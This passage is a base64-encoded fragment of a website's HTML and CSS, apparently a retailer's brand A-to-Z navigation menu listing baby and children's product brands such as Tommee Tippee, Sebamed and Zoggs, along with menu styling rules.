1cmVhdHMuaHRtbCI%2BUHVyZWF0czwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBzdHlsZT0id2lkdGg6IDEwMCU7IGJvcmRlcjogMHB4OyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz0iZWRoNSI%2BUTwvaDU%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyYW5kLW5hbWUiIHN0eWxlPSJkaXNwbGF5OiBibG9jazsiPjxhIGhyZWY9Ii9icmFuZC1hLXovcXYtYmFieS5odG1sIj5RViBCYWJ5PC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIHN0eWxlPSJ3aWR0aDogMTAwJTsgYm9yZGVyOiAwcHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPSJlZGg1Ij5SPC9oNT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJhbmQtbmFtZSIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI%2BPGEgaHJlZj0iL2JyYW5kLWEtei9yZWFsLXNoYWRlcy5odG1sIj5SZWFsIFNoYWRlczwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmFuZC1uYW1lIiBzdHlsZT0iZGlzcGxheTogYmxvY2s7Ij48YSBocmVmPSIvYnJhbmQtYS16L3JlZC1jYXN0bGUuaHRtbCI%2BUmVkIENhc3RsZTwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmFuZC1uYW1lIiBzdHlsZT0iZGlzcGxheTogYmxvY2s7Ij48YSBocmVmPSIvYnJhbmQtYS16L3JpYmJvbi1tYWRuZXNzLmh0bWwiPlJpYmJvbiBNYWRuZXNzPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIHN0eWxlPSJ3aWR0aDogMTAwJTsgYm9yZGVyOiAwcHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPSJlZGg1Ij5TPC9oNT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJhbmQtbmFtZSIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI%2BPGEgaHJlZj0iL2JyYW5kLWEtei9zZWJhbWVkLmh0bWwiPlNlYmFtZWQ8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJhbmQtbmFtZSIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI%2BPGEgaHJlZj0iL2JyYW5kLWEtei9zaWx2ZXItY3Jvc3MuaHRtbCI%2BU2lsdmVyIENyb3NzPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyYW5kLW5hbWUiIHN0eWxlPSJkaXNwbGF5OiBibG9jazsiPjxhIGhyZWY9Ii9icmFuZC1hLXovc2ltcGx5LWlkZWEuaHRtbCI%2BU2ltcGx5IElkZWE8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJhbmQtbmFtZSIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI%2BPGEgaHJlZj0iL2JyYW5kLWEtei9za2lwLWhvcC5odG1sIj5Ta2lwIEhvcDwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmFuZC1uYW1lIiBzdHlsZT0iZGlzcGxheTogYmxvY2s7Ij48YSBocmVmPSIvYnJhbmQtYS16L3NwZWN0cmEuaHRtbCI%2BU3BlY3RyYTwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmFuZC1uYW1lIiBzdHlsZT0iZGlzcGxheTogYmxvY2s7Ij48YSBocmVmPSIvYnJhbmQtYS16L3NxdWlzaG1hbGxvd3MuaHRtbCI%2BU3F1aXNobWFsbG93czwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmFuZC1uYW1lIiBzdHlsZT0iZGlzcGxheTogYmxvY2s7Ij48YSBocmVmPSIvYnJhbmQtYS16L3N0YXJib29rcy5odG1sIj5TdGFyYm9va3M8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJhbmQtbmFtZSIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI%2BPGEgaHJlZj0iL2JyYW5kLWEtei9zdGljay1vLmh0bWwiPlN0aWNrLU88L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJhbmQtbmFtZSIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI%2BPGEgaHJlZj0iL2JyYW5kLWEtei9zdG9ra2UuaHRtbCI%2BU3Rva2tlPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyYW5kLW5hbWUiIHN0eWxlPSJkaXNwbGF5OiBibG9jazsiPjxhIGhyZWY9Ii9icmFuZC1hLXovc3Vkb2NyZW0uaHRtbCI%2BU3Vkb2NyZW08L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJhbmQtbmFtZSIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI%2BPGEgaHJlZj0iL2JyYW5kLWEtei9zdW1pbW8uaHRtbCI%2BU3VtaW1vPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyYW5kLW5hbWUiIHN0eWxlPSJkaXNwbGF5OiBibG9jazsiPjxhIGhyZWY9Ii9icmFuZC1hLXovc3VubnlsaWZlLmh0bWwiPlN1bm55bGlmZTwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmFuZC1uYW1lIiBzdHlsZT0iZGlzcGxheTogYmxvY2s7Ij48YSBocmVmPSIvYnJhbmQtYS16L3N1bi1zdGFjaGVzLmh0bWwiPlN1bi1TdGFjaGVzPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyYW5kLW5hbWUiIHN0eWxlPSJkaXNwbGF5OiBibG9jazsiPjxhIGhyZWY9Ii9icmFuZC1hLXovc3dpbWF2YS5odG1sIj5Td2ltYXZhPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIHN0eWxlPSJ3aWR0aDogMTAwJTsgYm9yZGVyOiAwcHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPSJlZGg1Ij5UPC9oNT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJhbmQtbmFtZSIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI%2BPGEgaHJlZj0iL2JyYW5kLWEtei90b21tZWUtdGlwcGVlLmh0bWwiPlRvbW1lZSBUaXBwZWU8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJhbmQtbmFtZSIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI%2BPGEgaHJlZj0iL2JyYW5kLWEtei90cnVua2kuaHRtbCI%2BVHJ1bmtpPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyYW5kLW5hbWUiIHN0eWxlPSJkaXNwbGF5OiBibG9jazsiPjxhIGhyZWY9Ii9icmFuZC1hLXovdHV0dGktYmFtYmluaS5odG1sIj5UdXR0aSBCYW1iaW5pPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyYW5kLW5hbWUiIHN0eWxlPSJkaXNwbGF5OiBibG9jazsiPjxhIGhyZWY9Ii9icmFuZC1hLXovdHdpc3RzaGFrZS5odG1sIj5Ud2lzdHNoYWtlPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyYW5kLW5hbWUiIHN0eWxlPSJkaXNwbGF5OiBibG9jazsiPjxhIGhyZWY9Ii9icmFuZC1hLXovdHktdG95cy5odG1sIj5UWSBUb3lzPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIHN0eWxlPSJ3aWR0aDogMTAwJTsgYm9yZGVyOiAwcHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPSJlZGg1Ij5VPC9oNT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgc3R5bGU9IndpZHRoOiAxMDAlOyBib3JkZXI6IDBweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9ImVkaDUiPlY8L2g1PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmFuZC1uYW1lIiBzdHlsZT0iZGlzcGxheTogYmxvY2s7Ij48YSBocmVmPSIvYnJhbmQtYS16L3ZlamEuaHRtbCI%2BVmVqYTwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmFuZC1uYW1lIiBzdHlsZT0iZGlzcGxheTogYmxvY2s7Ij48YSBocmVmPSIvYnJhbmQtYS16L3ZpdGFmbG93Lmh0bWwiPlZpdGFmbG93PC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyYW5kLW5hbWUiIHN0eWxlPSJkaXNwbGF5OiBibG9jazsiPjxhIGhyZWY9Ii9icmFuZC1hLXovdnRlY2guaHRtbCI%2BVnRlY2g8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgc3R5bGU9IndpZHRoOiAxMDAlOyBib3JkZXI6IDBweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9ImVkaDUiPlc8L2g1PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmFuZC1uYW1lIiBzdHlsZT0iZGlzcGxheTogYmxvY2s7Ij48YSBocmVmPSIvYnJhbmQtYS16L3dhdGVybGFuZC5odG1sIj5XYXRlcmxhbmQ8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJhbmQtbmFtZSIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI%2BPGEgaHJlZj0iL2JyYW5kLWEtei93ZWxsbmVzcy5odG1sIj5XZWxsbmVzczwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBzdHlsZT0id2lkdGg6IDEwMCU7IGJvcmRlcjogMHB4OyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz0iZWRoNSI%2BWDwvaDU%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyYW5kLW5hbWUiIHN0eWxlPSJkaXNwbGF5OiBibG9jazsiPjxhIGhyZWY9Ii9icmFuZC1hLXoveG9vdHouaHRtbCI%2BWG9vdHo8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgc3R5bGU9IndpZHRoOiAxMDAlOyBib3JkZXI6IDBweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9ImVkaDUiPlk8L2g1PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmFuZC1uYW1lIiBzdHlsZT0iZGlzcGxheTogYmxvY2s7Ij48YSBocmVmPSIvYnJhbmQtYS16L3lhbWF0b3lhLmh0bWwiPllhbWF0b3lhPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIHN0eWxlPSJ3aWR0aDogMTAwJTsgYm9yZGVyOiAwcHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPSJlZGg1Ij5aPC9oNT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJhbmQtbmFtZSIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI%2BPGEgaHJlZj0iL2JyYW5kLWEtei96YXh5Lmh0bWwiPlpheHk8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJhbmQtbmFtZSIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI%2BPGEgaHJlZj0iL2JyYW5kLWEtei96b2dncy5odG1sIj5ab2dnczwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBzdHlsZT0id2lkdGg6IDEwMCU7IGJvcmRlcjogMHB4OyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz0iZWRoNSI%2BMC05PC9oNT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJhbmQtbmFtZSIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI%2BPGEgaHJlZj0iL2JyYW5kLWEtei80bW9tcy5odG1sIj40TW9tczwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJicmFuZC1uYW1lIiBzdHlsZT0iZGlzcGxheTogYmxvY2s7Ij48YSBocmVmPSIvYnJhbmQtYS16LzU5cy5odG1sIj41OVM8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3R5bGUgbWVkaWE9InNjcmVlbiI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC52ZXMtbWVnYW1lbnUgbGkubGV2ZWwwPmEuYW5jaG9yLWFjdGl2ZSwgLnZlcy1tZWdhbWVudS1tb2JpbGUgLm5hdi1tb2JpbGUgbGkubGV2ZWwwPmEuYW5jaG9yLWFjdGl2ZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjMDAzOTcxOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5uYXYtZGVzayB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6ZmxleDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAubmF2LW1vYiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6bm9uZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAubWVuYXYgLnRlX2F6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogYmxvY2sgIWltcG9ydGFudDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAubWVuYXYgLnRlX2F6IC5rc19jb250ZW50IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDEwcHg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1pbi13aWR0aDogNjQwcHgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLmhlYWRlci5jb250ZW50IC52ZXMtbWVnYW1lbnUubWVudS1ob3ZlciAuc3ViaG92ZXI6aG92ZXIgLm1lZ2FtZW51LWNvbnRlbnQgLm1lbmF2IHVsIGxpIHAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXI6IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiA1cHg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiBsb3dlcmNhc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjdweCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAubmF2LWRlc2sgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkaXNwbGF5Om5vbmU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLm5hdi1tb2IgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkaXNwbGF5OmZsZXg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLm1uLWJsb2NrIC5tZW5hdiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDIwcHg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1hcmdpbjogMTBweDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5icmFuZC1heiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogZmxleC1zdGFydDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1hcm91bmQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZsZXgtZmxvdzogd3JhcCByb3c7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1hcmdpbjogMCAyMHB4IDIwcHg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTNlM2UzOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5icmFuZC1heiBhIHsKI